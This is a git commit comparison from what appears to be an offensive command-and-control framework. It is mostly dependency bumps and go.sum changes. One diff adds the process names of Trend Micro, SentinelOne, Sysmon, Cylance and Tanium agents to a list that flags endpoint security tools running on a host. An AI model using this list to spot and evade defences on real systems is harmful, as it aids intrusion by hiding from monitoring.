Compare commits

...
35 Commits
Author SHA1 Message Date
moloch-- ba3ec022bb Add lic 2022-09-13 08:31:11 -06:00
moloch-- 394ba431b2 Add lic 2022-09-13 08:28:52 -06:00
moloch-- cda6aeaee6 Remove un-needed pointers 2022-09-13 08:25:37 -06:00
moloch-- 187f9e99ac Refactor c2 url handling 2022-09-12 20:40:39 -06:00
Joe 1f6abf9be3 Merge pull request #863 from BishopFox/a7aadependabot/go_modules/github.com/sirupsen/logrus-1.9.0
Bump github.com/sirupsen/logrus from 1.8.1 to 1.9.0
2022-09-12 14:54:13 -05:00
Joe 25a22054b7 Merge branch 'master' into a7aadependabot/go_modules/github.com/sirupsen/logrus-1.9.0
Signed-off-by: Joe <[email protected]>
2022-09-12 11:02:42 -05:00
Joe 64c5460545 Merge pull request #862 from BishopFox/c6cfdependabot/go_modules/github.com/AlecAivazis/survey/v2-2.3.6
Bump github.com/AlecAivazis/survey/v2 from 2.2.2 to 2.3.6
2022-09-12 11:01:44 -05:00
dependabot[bot] 76fb9dfc93 Bump github.com/AlecAivazis/survey/v2 from 2.2.2 to 2.3.6
Bumps [github.com/AlecAivazis/survey/v2](https://github.com/AlecAivazis/survey) from 2.2.2 to 2.3.6.
- [Release notes](https://github.com/AlecAivazis/survey/releases)
- [Commits](https://github.com/AlecAivazis/survey/compare/v2.2.2...v2.3.6)

---
updated-dependencies:
- dependency-name: github.com/AlecAivazis/survey/v2
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-12 15:16:37 +00:00
Joe ccd3ed2250 Merge pull request #861 from BishopFox/2e20dependabot/go_modules/github.com/spf13/cobra-1.5.0
Bump github.com/spf13/cobra from 1.1.1 to 1.5.0
2022-09-12 10:14:30 -05:00
Joe fb5c6c0c88 Merge branch 'master' into a7aadependabot/go_modules/github.com/sirupsen/logrus-1.9.0
Signed-off-by: Joe <[email protected]>
2022-09-12 10:13:57 -05:00
Joe 11878069f6 Merge pull request #864 from BishopFox/2a7fdependabot/go_modules/github.com/cheggaaa/pb/v3-3.1.0
Bump github.com/cheggaaa/pb/v3 from 3.0.5 to 3.1.0
2022-09-12 10:12:50 -05:00
Joe 3db3930091 Merge pull request #865 from BishopFox/024fdependabot/go_modules/github.com/gofrs/uuid-4.3.0incompatible
Bump github.com/gofrs/uuid from 4.0.0+incompatible to 4.3.0+incompatible
2022-09-12 10:12:05 -05:00
dependabot[bot] 9e6412c911 Bump github.com/gofrs/uuid from 4.0.0+incompatible to 4.3.0+incompatible
Bumps [github.com/gofrs/uuid](https://github.com/gofrs/uuid) from 4.0.0+incompatible to 4.3.0+incompatible.
- [Release notes](https://github.com/gofrs/uuid/releases)
- [Commits](https://github.com/gofrs/uuid/compare/v4.0.0...v4.3.0)

---
updated-dependencies:
- dependency-name: github.com/gofrs/uuid
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-12 03:21:06 +00:00
dependabot[bot] ade96fa281 Bump github.com/cheggaaa/pb/v3 from 3.0.5 to 3.1.0
Bumps [github.com/cheggaaa/pb/v3](https://github.com/cheggaaa/pb) from 3.0.5 to 3.1.0.
- [Release notes](https://github.com/cheggaaa/pb/releases)
- [Commits](https://github.com/cheggaaa/pb/compare/v3.0.5...v3.1.0)

---
updated-dependencies:
- dependency-name: github.com/cheggaaa/pb/v3
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-12 03:21:00 +00:00
dependabot[bot] 3035d75882 Bump github.com/sirupsen/logrus from 1.8.1 to 1.9.0
Bumps [github.com/sirupsen/logrus](https://github.com/sirupsen/logrus) from 1.8.1 to 1.9.0.
- [Release notes](https://github.com/sirupsen/logrus/releases)
- [Changelog](https://github.com/sirupsen/logrus/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sirupsen/logrus/compare/v1.8.1...v1.9.0)

---
updated-dependencies:
- dependency-name: github.com/sirupsen/logrus
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-12 03:20:53 +00:00
dependabot[bot] 4ed95375e0 Bump github.com/spf13/cobra from 1.1.1 to 1.5.0
Bumps [github.com/spf13/cobra](https://github.com/spf13/cobra) from 1.1.1 to 1.5.0.
- [Release notes](https://github.com/spf13/cobra/releases)
- [Commits](https://github.com/spf13/cobra/compare/v1.1.1...v1.5.0)

---
updated-dependencies:
- dependency-name: github.com/spf13/cobra
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-12 03:20:38 +00:00
Ronan Kervella 9ee10c5321 Merge pull request #860 from BishopFox/cleanup
Random cleanups and improvements
2022-09-09 14:41:54 -07:00
moloch-- 3cc7be8a9f Random cleanups and improvements 2022-09-09 11:02:04 -07:00
Joe d411d2400c Merge pull request #859 from BishopFox/fix/certs
Fix low entropy x509 subjects
2022-09-08 20:20:44 -05:00
moloch-- e31cafa81d Fix low entropy x509 subjects 2022-09-08 17:37:02 -07:00
Ronan Kervella 80677e652b Merge pull request #857 from cmprmsd/patch-1
Add sysmon + sysmon64
2022-09-08 07:32:01 -07:00
cmprmsd 88abea26a7 Add sysmon + sysmon64
As Sysmon is more commonly used for logging I assume we should flag it also as known security tool.

Signed-off-by: cmprmsd <[email protected]>
2022-09-08 10:46:53 +02:00
Joe 120d537044 Merge pull request #855 from faisalfs10x/faisalfs10x-patch-1
Add trend micro processes
2022-09-07 19:12:07 -05:00
Faisal Fs 59781d4328 Update ps.go
Signed-off-by: Faisal Fs <[email protected]>
2022-09-08 06:36:05 +08:00
Ronan Kervella f117995aa1 Merge pull request #854 from r00t0v3rr1d3/add-cylance-tanium-senone
Add additional known security tools
2022-09-07 15:16:39 -07:00
Faisal Fs e4793cf616 Add trend micro processes
Add known Trend Micro processes
reference: https://success.trendmicro.com/dcx/s/solution/1122160-monitoring-deep-security-services?language=en_US&sfdcIFrameOrigin=null

Signed-off-by: Faisal Fs <[email protected]>
2022-09-08 06:08:43 +08:00
Chris Shields b68f4bffd3 Add additional known security tools
Few more SentinelOne processes. Cylance and Tanium processes.
2022-09-07 17:00:33 -04:00
Joe 22fea029ec Merge pull request #853 from BishopFox/audit-log
Improvements to the audit log
2022-09-07 14:25:51 -05:00
moloch-- b1db1ab614 improvements to the audit log 2022-09-07 10:20:10 -07:00
Joe 40b99e860f Merge pull request #851 from jamesgol/loot_file
Catch error on 'loot remote' if file doesn't exist
2022-09-07 10:06:40 -05:00
James Golovich 56d143b018 Catch error on 'loot remote' if file doesn't exist 2022-09-06 23:02:20 -07:00
Ronan Kervella 327f7c6826 Merge pull request #850 from jamesgol/websites-strip
Strip query parameters from URLs for incoming HTTP(s) websites
2022-09-06 17:26:04 -07:00
James Golovich eb9506510e Handle err condition 2022-09-06 16:19:03 -07:00
James Golovich 9c5aa26af9 Strip query parameters from URLs for incoming HTTP(s) websites 2022-09-06 16:05:26 -07:00
Ronan Kervella f2b78748de Merge pull request #849 from BishopFox/update/gorm
Update/gorm
2022-09-06 13:35:18 -07:00
117 changed files with 7011 additions and 2335 deletions

No files matched your search

+16
View File
@@ -51,12 +51,28 @@ var (
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdagent.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdredline.exe": {console.Red, "Bitdefender"}, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
"Deep Security Manager.exe": {console.Red, "Trend Micro"}, // TM Deep Security Manager
"coreServiceShell.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
"ds_monitor.exe": {console.Red, "Trend Micro"}, // TM Deep Security Monitor
"Notifier.exe": {console.Red, "Trend Micro"}, // TM Deep Security Notifier's process
"dsa.exe": {console.Red, "Trend Micro"}, // TM Agent's main process
"ds_nuagent.exe": {console.Red, "Trend Micro"}, // TM Advanced TLS traffic inspection
"coreFrameworkHost.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
"SentinelServiceHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelStaticEngine.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelStaticEngineScanner.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelAgent.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelAgentWorker.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelHelperService.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelBrowserNativeHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelUI.exe": {console.Red, "SentinelOne"}, // Sentinel One
"Sysmon.exe": {console.Red, "Sysmon"}, // Sysmon
"Sysmon64.exe": {console.Red, "Sysmon64"}, // Sysmon64
"CylanceSvc.exe": {console.Red, "Cylance"}, // Cylance
"CylanceUI.exe": {console.Red, "Cylance"}, // Cylance
"TaniumClient.exe": {console.Red, "Tanium"}, // Tanium
"TaniumCX.exe": {console.Red, "Tanium"}, // Tanium
"TaniumDetectEngine.exe": {console.Red, "Tanium"}, // Tanium
}
)
+7 -6
View File
@@ -5,14 +5,14 @@ go 1.18
replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.6
require (
github.com/AlecAivazis/survey/v2 v2.2.2
github.com/AlecAivazis/survey/v2 v2.3.6
github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
github.com/Ne0nd0g/go-clr v1.0.2
github.com/alecthomas/chroma v0.10.0
github.com/cheggaaa/pb/v3 v3.0.5
github.com/cheggaaa/pb/v3 v3.1.0
github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf
github.com/chromedp/chromedp v0.8.5
github.com/desertbit/columnize v2.1.0+incompatible
@@ -20,7 +20,7 @@ require (
github.com/desertbit/grumble v1.1.1
github.com/desertbit/readline v1.5.1
github.com/fatih/color v1.13.0
github.com/gofrs/uuid v4.0.0+incompatible
github.com/gofrs/uuid v4.3.0+incompatible
github.com/google/uuid v1.3.0
github.com/gorilla/mux v1.8.0
github.com/grpc-ecosystem/go-grpc-middleware v1.2.2
@@ -33,8 +33,8 @@ require (
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
github.com/pquerna/otp v1.3.0
github.com/shirou/gopsutil/v3 v3.21.10
github.com/sirupsen/logrus v1.8.1
github.com/spf13/cobra v1.1.1
github.com/sirupsen/logrus v1.9.0
github.com/spf13/cobra v1.5.0
github.com/stretchr/testify v1.8.0
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
golang.org/x/crypto v0.0.0-20220829220503-c86fa9a7ed90
@@ -98,11 +98,12 @@ require (
github.com/mailru/easyjson v0.7.7 // indirect
github.com/mattn/go-colorable v0.1.9 // indirect
github.com/mattn/go-isatty v0.0.14 // indirect
github.com/mattn/go-runewidth v0.0.9 // indirect
github.com/mattn/go-runewidth v0.0.12 // indirect
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
github.com/rivo/uniseg v0.2.0 // indirect
github.com/spf13/pflag v1.0.5 // indirect
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
golang.org/x/mod v0.5.1 // indirect
+26 -57
View File
@@ -27,7 +27,6 @@ cloud.google.com/go/bigquery v1.7.0/go.mod h1://okPTzCYNXSlb24MZs83e2Do+h+VXtc4g
cloud.google.com/go/bigquery v1.8.0/go.mod h1:J5hqkt3O0uAFnINi6JXValWIb1v0goeZM77hZzJN/fQ=
cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE=
cloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk=
cloud.google.com/go/firestore v1.1.0/go.mod h1:ulACoGHTpvq5r8rxGJ4ddJZBZqakUQqClKRT5SZwBmk=
cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I=
cloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw=
cloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA=
@@ -39,8 +38,8 @@ cloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RX
cloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0=
dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU=
github.com/AlecAivazis/survey/v2 v2.0.5/go.mod h1:WYBhg6f0y/fNYUuesWQc0PKbJcEliGcYHB9sNT3Bg74=
github.com/AlecAivazis/survey/v2 v2.2.2 h1:1I4qBrNsHQE+91tQCqVlfrKe9DEL65949d1oKZWVELY=
github.com/AlecAivazis/survey/v2 v2.2.2/go.mod h1:9FJRdMdDm8rnT+zHVbvQT2RTSTLq0Ttd6q3Vl2fahjk=
github.com/AlecAivazis/survey/v2 v2.3.6 h1:NvTuVHISgTHEHeBFqt6BHOe4Ny/NwGZr7w+F8S9ziyw=
github.com/AlecAivazis/survey/v2 v2.3.6/go.mod h1:4AuI9b7RjAR+G7v9+C4YSlX/YL3K3cWNXgWXOhllqvI=
github.com/Azure/azure-sdk-for-go v16.2.1+incompatible/go.mod h1:9XXNKU+eRnpl9moKnB4QOLf1HestfXbmab5FXxiDBjc=
github.com/Azure/go-ansiterm v0.0.0-20170929234023-d6e3b3328b78/go.mod h1:LmzpDX56iTiv29bbRTIsUNlaFfuhWRQBWjQdVyAevI8=
github.com/Azure/go-autorest v14.2.0+incompatible/go.mod h1:r+4oMnoxhatjLLJ6zxSWATqVooLgysK6ZNox3g/xq24=
@@ -90,8 +89,9 @@ github.com/NYTimes/gziphandler v0.0.0-20170623195520-56545f4a5d46/go.mod h1:3wb0
github.com/Ne0nd0g/go-clr v1.0.2 h1:jVD7iJyXaS3KhPiKetUnUAuLxgDlNSvYmPfMFK8E3VY=
github.com/Ne0nd0g/go-clr v1.0.2/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I=
github.com/Netflix/go-expect v0.0.0-20180615182759-c93bf25de8e8/go.mod h1:oX5x61PbNXchhh0oikYAH+4Pcfw5LKv21+Jnpr6r6Pc=
github.com/Netflix/go-expect v0.0.0-20190729225929-0e00d9168667 h1:l2RCK7mjLhjfZRIcCXTVHI34l67IRtKASBjusViLzQ0=
github.com/Netflix/go-expect v0.0.0-20190729225929-0e00d9168667/go.mod h1:oX5x61PbNXchhh0oikYAH+4Pcfw5LKv21+Jnpr6r6Pc=
github.com/Netflix/go-expect v0.0.0-20220104043353-73e0943537d2 h1:+vx7roKuyA63nhn5WAunQHLTznkw5W8b1Xc0dNjp83s=
github.com/Netflix/go-expect v0.0.0-20220104043353-73e0943537d2/go.mod h1:HBCaDeC1lPdgDeDbhX8XFpy1jqjK0IBG8W5K+xYqA0w=
github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU=
github.com/PuerkitoBio/purell v1.0.0/go.mod h1:c11w/QuzBsJSee3cPx9rAFu61PvFxuPbtSwDGJws/X0=
github.com/PuerkitoBio/purell v1.1.0/go.mod h1:c11w/QuzBsJSee3cPx9rAFu61PvFxuPbtSwDGJws/X0=
@@ -115,10 +115,7 @@ github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRF
github.com/alecthomas/units v0.0.0-20190717042225-c3de453c63f4/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0=
github.com/alexflint/go-filemutex v0.0.0-20171022225611-72bdc8eae2ae/go.mod h1:CgnQgUtFrFz9mxFNtED3jI5tLDjKlOM+oUF/sTk6ps0=
github.com/antihax/optional v1.0.0/go.mod h1:uupD/76wgC+ih3iEmQUL+0Ugr19nfwCT1kdvxnR2qWY=
github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o=
github.com/armon/consul-api v0.0.0-20180202201655-eb2c6b5be1b6/go.mod h1:grANhF5doyWs3UAsr3K4I6qtAmlQcZDesFNEHPZAzj8=
github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY=
github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8=
github.com/asaskevich/govalidator v0.0.0-20190424111038-f61b66f89f4a/go.mod h1:lB+ZfQJz7igIIfQNfa7Ml4HSf2uFQQRzpGGRXenZAgY=
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 h1:JjwxKkxzcBk4k8147g0eBQRCIy0UN1Be8AAv6RaIj4Q=
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0/go.mod h1:IbERvuyb387Hppp8hX0SQTFt/mkej8+OhuS8L0nC2CI=
@@ -131,7 +128,6 @@ github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+Ce
github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs=
github.com/bitly/go-simplejson v0.5.0/go.mod h1:cXHtHw4XUPsvGaxgjIAn8PhEWG9NfngEKAMDJEczWVA=
github.com/bketelsen/crypt v0.0.3-0.20200106085610-5cbc8cc4026c/go.mod h1:MKsuJmJgSg28kpZDP6UIiPt0e0Oz0kqKNGyRaWEPv84=
github.com/blang/semver v3.5.0+incompatible/go.mod h1:kRBLl5iJ+tD4TcOOxsy/0fnwebNt5EWlYSAyrTnjyyk=
github.com/blang/semver v3.5.1+incompatible/go.mod h1:kRBLl5iJ+tD4TcOOxsy/0fnwebNt5EWlYSAyrTnjyyk=
github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869/go.mod h1:Ekp36dRnpXw/yCqJaO+ZrUyxD+3VXMFFr56k5XYrpB4=
@@ -147,8 +143,8 @@ github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA
github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc=
github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
github.com/checkpoint-restore/go-criu/v4 v4.1.0/go.mod h1:xUQBLp4RLc5zJtWY++yjOoMoB5lihDt7fai+75m+rGw=
github.com/cheggaaa/pb/v3 v3.0.5 h1:lmZOti7CraK9RSjzExsY53+WWfub9Qv13B5m4ptEoPE=
github.com/cheggaaa/pb/v3 v3.0.5/go.mod h1:X1L61/+36nz9bjIsrDU52qHKOQukUQe2Ge+YvGuquCw=
github.com/cheggaaa/pb/v3 v3.1.0 h1:3uouEsl32RL7gTiQsuaXD4Bzbfl5tGztXGUvXbs4O04=
github.com/cheggaaa/pb/v3 v3.1.0/go.mod h1:YjrevcBqadFDaGQKRdmZxTY42pXEqda48Ea3lt0K/BE=
github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf h1:e0oJZmGJidTRZ0FvWXNhdj9OaOMN30Yf+T3K2Tf3L+s=
github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf/go.mod h1:5Y4sD/eXpwrChIuxhSr/G20n9CdbCmoerOHnuAf0Zr0=
github.com/chromedp/chromedp v0.8.5 h1:HAVg54yQFcn7sg5reVjXtoI1eQaFxhjAjflHACicUFw=
@@ -208,7 +204,6 @@ github.com/containernetworking/plugins v0.8.7/go.mod h1:R7lXeZaBzpfqapcAbHRW8/CY
github.com/containers/ocicrypt v1.0.3/go.mod h1:CUBa+8MRNL/VkpxYIpaMtgn1WgXGyvPQj8jcy0EVG6g=
github.com/coreos/bbolt v1.3.2/go.mod h1:iRUV2dpdMOn7Bo10OQBFzIJO9kkE559Wcmn+qkEiiKk=
github.com/coreos/etcd v3.3.10+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE=
github.com/coreos/etcd v3.3.13+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE=
github.com/coreos/go-iptables v0.4.5/go.mod h1:/mVI274lEDI2ns62jHCDnCyBF9Iwsmekav8Dbxlm1MU=
github.com/coreos/go-iptables v0.5.0/go.mod h1:/mVI274lEDI2ns62jHCDnCyBF9Iwsmekav8Dbxlm1MU=
github.com/coreos/go-oidc v2.1.0+incompatible/go.mod h1:CgnwVTmzoESiwO9qyAFEMiHoZ1nMCKZlZ9V6mm3/LKc=
@@ -224,8 +219,10 @@ github.com/coreos/pkg v0.0.0-20160727233714-3ac0863d7acf/go.mod h1:E3G3o1h8I7cfc
github.com/coreos/pkg v0.0.0-20180928190104-399ea9e2e55f/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA=
github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
github.com/creack/pty v1.1.7 h1:6pwm8kMQKCmgUg0ZHTm5+/YvRK0s3THD/28+T6/kk4A=
github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
github.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7DoTY=
github.com/creack/pty v1.1.17 h1:QeVUsEDNrLBW4tMgZHvxy18sKtr6VI492kBhUfhDJNI=
github.com/creack/pty v1.1.17/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
github.com/cyphar/filepath-securejoin v0.2.2/go.mod h1:FpkQEhXnPnOthhzymB7CGsFk2G9VLXONKD9G7QGMM+4=
github.com/d2g/dhcp4 v0.0.0-20170904100407-a1d1b6c41b1c/go.mod h1:Ct2BUK8SB0YC1SMSibvLzxjeJLnrYEVLULFNiHY9YfQ=
github.com/d2g/dhcp4client v1.0.0/go.mod h1:j0hNfjhrt2SxUOw55nL0ATM/z4Yt3t2Kd1mW34z5W5s=
@@ -336,8 +333,9 @@ github.com/godbus/dbus v0.0.0-20180201030542-885f9cc04c9c/go.mod h1:/YcGZj5zSblf
github.com/godbus/dbus v0.0.0-20190422162347-ade71ed3457e/go.mod h1:bBOAhwG1umN6/6ZUMtDFBMQR8jRg9O75tm9K00oMsK4=
github.com/godbus/dbus/v5 v5.0.3/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
github.com/gofrs/flock v0.8.0/go.mod h1:F1TvTiK9OcQqauNUHlbJvyl9Qa1QvF/gOUDKA14jxHU=
github.com/gofrs/uuid v4.0.0+incompatible h1:1SD/1F5pU8p29ybwgQSwpQk+mwdRrXCYuPhW6m+TnJw=
github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
github.com/gofrs/uuid v4.3.0+incompatible h1:CaSVZxm5B+7o45rtab4jC2G37WGYX1zQfuU2i6DSvnc=
github.com/gofrs/uuid v4.3.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
github.com/gogo/googleapis v1.2.0/go.mod h1:Njal3psf3qN6dwBtQfUmBZh2ybovJ0tlu3o/AC7HYjU=
github.com/gogo/googleapis v1.4.1/go.mod h1:2lpHqI5OcWCtVElxXnPt+s8oJvMpySlOyM6xDCrzib4=
github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ=
@@ -446,34 +444,20 @@ github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgf
github.com/grpc-ecosystem/grpc-gateway v1.9.0/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY=
github.com/grpc-ecosystem/grpc-gateway v1.9.5/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY=
github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw=
github.com/hashicorp/consul/api v1.1.0/go.mod h1:VmuI/Lkw1nC05EYQWNKwWGbkg+FbDBtguAZLlVdkD9Q=
github.com/hashicorp/consul/sdk v0.1.1/go.mod h1:VKf9jXwCTEY1QZP2MOLRhb5i/I/ssyNV1vwHyQBF0x8=
github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
github.com/hashicorp/errwrap v1.1.0 h1:OxrOeh75EUXMY8TBjag2fzXGZ40LB6IKw45YeGUDY2I=
github.com/hashicorp/errwrap v1.1.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
github.com/hashicorp/go-cleanhttp v0.5.1/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80=
github.com/hashicorp/go-immutable-radix v1.0.0/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60=
github.com/hashicorp/go-msgpack v0.5.3/go.mod h1:ahLV/dePpqEmjfWmKiqvPkv/twdG7iPBM1vqhUKIvfM=
github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk=
github.com/hashicorp/go-multierror v1.1.0/go.mod h1:spPvp8C1qA32ftKqdAHm4hHTbPw+vmowP0z+KUhOZdA=
github.com/hashicorp/go-multierror v1.1.1 h1:H5DkEtf6CXdFp0N0Em5UCwQpXMWke8IA0+lD48awMYo=
github.com/hashicorp/go-multierror v1.1.1/go.mod h1:iw975J/qwKPdAO1clOe2L8331t/9/fmwbPZ6JB6eMoM=
github.com/hashicorp/go-rootcerts v1.0.0/go.mod h1:K6zTfqpRlCUIjkwsN4Z+hiSfzSTQa6eBIzfwKfwNnHU=
github.com/hashicorp/go-sockaddr v1.0.0/go.mod h1:7Xibr9yA9JjQq1JpNB2Vw7kxv8xerXegt+ozgdvDeDU=
github.com/hashicorp/go-syslog v1.0.0/go.mod h1:qPfqrKkXGihmCqbJM2mZgkZGvKG1dFdvsLplgctolz4=
github.com/hashicorp/go-uuid v1.0.0/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
github.com/hashicorp/go-uuid v1.0.1/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
github.com/hashicorp/go.net v0.0.1/go.mod h1:hjKkEWcCURg++eb33jQU7oqQcI9XDCnUzHA0oac0k90=
github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=
github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=
github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ=
github.com/hashicorp/logutils v1.0.0/go.mod h1:QIAnNjmIWmVIIkWDTG1z5v++HQmx9WQRO+LraFDTW64=
github.com/hashicorp/mdns v1.0.0/go.mod h1:tL+uN++7HEJ6SQLQ2/p+z2pH24WQKWjBPkE0mNTz8vQ=
github.com/hashicorp/memberlist v0.1.3/go.mod h1:ajVTdAv/9Im8oMAAj5G31PhhMCZJV2pPBoIllUwCN7I=
github.com/hashicorp/serf v0.8.2/go.mod h1:6hOLApaqBFA1NXqRQAsxw9QxuDEvNxSQRwA/JwenrHc=
github.com/hinshun/vt10x v0.0.0-20180616224451-1954e6464174/go.mod h1:DqJ97dSdRW1W22yXSB90986pcOyQ7r45iio1KN2ez1A=
github.com/hinshun/vt10x v0.0.0-20180809195222-d55458df857c h1:kp3AxgXgDOmIJFR7bIwqFhwJ2qWar8tEQSE5XXhCfVk=
